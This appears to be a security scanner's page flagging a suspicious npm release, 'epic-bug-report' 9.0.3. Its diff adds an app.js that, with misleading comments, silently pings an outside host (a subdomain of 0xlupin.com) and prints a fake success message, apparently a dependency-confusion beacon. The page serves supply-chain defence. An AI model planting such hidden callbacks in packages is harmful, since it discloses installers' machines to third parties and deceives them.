epic-bug-report 9.0.3
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of epic-bug-report might be problematic. Click here for more details.
- package/app.js +18 -0
- package/package.json +12 -0
package/app.js
ADDED
@@ -0,0 +1,18 @@
|
|
1
|
+
const http = require('http');
|
2
|
+
const os = require('os');
|
3
|
+
|
4
|
+
// Preparing Authorization Forms
|
5
|
+
const package_name = "epic-bug-report";
|
6
|
+
|
7
|
+
const health_check = `http://${package_name}.package.0xlupin.com`;
|
8
|
+
|
9
|
+
// Check if computer is authorized to ping lupin.monster
|
10
|
+
http.get(health_check, (res) => {
|
11
|
+
if (res.statusCode === 200) {
|
12
|
+
console.log('\x1b[36m%s\x1b[0m', '[*] epic-bug-report was installed successfully');
|
13
|
+
} else {
|
14
|
+
console.log(`Request failed with status code ${res.statusCode}`);
|
15
|
+
}
|
16
|
+
}).on('error', (e) => {
|
17
|
+
console.error(`Got error: ${e.message}`);
|
18
|
+
});
|
package/package.json
ADDED